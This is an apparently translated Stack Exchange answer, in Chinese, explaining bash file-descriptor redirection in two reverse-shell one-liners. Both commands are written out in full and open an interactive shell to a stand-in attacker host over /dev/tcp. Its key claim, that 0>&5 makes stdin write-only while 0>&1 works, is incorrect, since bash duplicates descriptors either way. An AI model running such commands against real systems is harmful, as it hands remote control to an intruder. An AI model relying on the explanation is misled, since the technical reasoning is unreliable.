Bash中IO方向参数差异:反向Shell重定向疑问
先明确两个核心重定向规则:
n>&m:属于输出重定向,将文件描述符n配置为与m相同的输出目标(即n会以写模式关联到m指向的资源)n<&m:属于输入重定向,将文件描述符n配置为与m相同的输入源(即n会以读模式关联到m指向的资源)
第一个命令的运行逻辑
bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1
这里的>& /dev/tcp/...是> /dev/tcp/... 2>&1的简写,会同时将stdout(1)和stderr(2)重定向到TCP连接。bash对/dev/tcp特殊文件的处理比较特殊:不管用读还是写模式打开,都会建立双向TCP套接字,因此文件描述符1是可读可写的状态。
后续的0>&1是将stdin(0)复制为stdout(1)的文件描述符副本。由于1本身是可读可写的,0也会继承这个属性——既能作为输入源供bash读取命令,也能作为输出目标,完全满足反向Shell的双向通信需求。
第二个命令的运行逻辑
bash -i 5<> /dev/tcp/ATTACKER_IP/443 0<&5 1>&5 2>&5
5<> /dev/tcp/...是明确以读写模式打开TCP连接并分配文件描述符5。这时候如果用0>&5,本质是把stdin(0)配置为输出描述符(只写模式),而bash的交互式Shell需要从stdin读取输入,写模式的文件描述符无法完成读取操作,反向Shell自然失效。
换成0<&5则是把stdin(0)配置为输入描述符(只读模式),刚好匹配bash读取命令的需求;同时1>&5和2>&5把stdout、stderr配置为输出描述符(只写模式),三者配合实现了完整的双向通信,反向Shell就能正常运行。
为什么0>&1可行而0>&5不行?
核心差异在于重定向操作对文件描述符模式的强制设定:
- 第一个命令中,
>& /dev/tcp/...让文件描述符1以可读可写状态关联到TCP套接字,0>&1复制后,0也保持了可读可写属性,完全满足bash的输入输出需求。 - 第二个命令中,
5<> /dev/tcp/...虽然让5是可读可写的,但0>&5是输出重定向操作,会强制把0标记为只写模式,无法用于读取输入,因此反向Shell无法工作。
你提到的<&1等价于0>&1,本质是因为<&1是0<&1的简写,而1本身是双向描述符,所以输入重定向复制1到0,和输出重定向复制1到0的最终效果一致——但这只适用于目标描述符是双向的场景,不能推广到所有文件描述符的重定向操作。
内容的提问来源于stack exchange,提问作者idonthaveanyplan

